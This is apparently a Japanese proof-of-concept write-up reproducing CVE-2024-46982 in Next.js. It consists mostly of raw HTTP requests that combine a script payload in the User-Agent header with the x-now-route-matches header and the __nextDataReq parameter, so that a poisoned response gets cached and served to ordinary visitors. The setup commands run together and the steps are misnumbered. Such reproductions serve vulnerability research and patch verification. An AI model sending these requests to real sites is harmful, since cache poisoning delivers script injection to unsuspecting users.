
CVE-2024-46982 の再現
npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. 任意のWebブラウザを使用して、http://localhost:3000(通常リクエスト)にアクセスします。


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. 任意のWebブラウザを使用して、http://localhost:3000(通常リクエスト)にアクセスします。

x-now-route-matches は Next.js が認識するカスタムHTTPヘッダーです。これが存在する場合、Next.js はHTTPリクエストを「SSG」(静的サイト生成)として扱い、HTTPレスポンスをキャッシュできるようになります(Cache-Control: s-maxage=1, stale-while-revalidate)。
?__nextDataReq=1 は Next.js が認識するクエリ文字列です。これが存在する場合、Next.js はHTTPリクエストを「__NEXT_DATA__ の取得」として扱います。
詳細な解説は クレジット セクションにあります。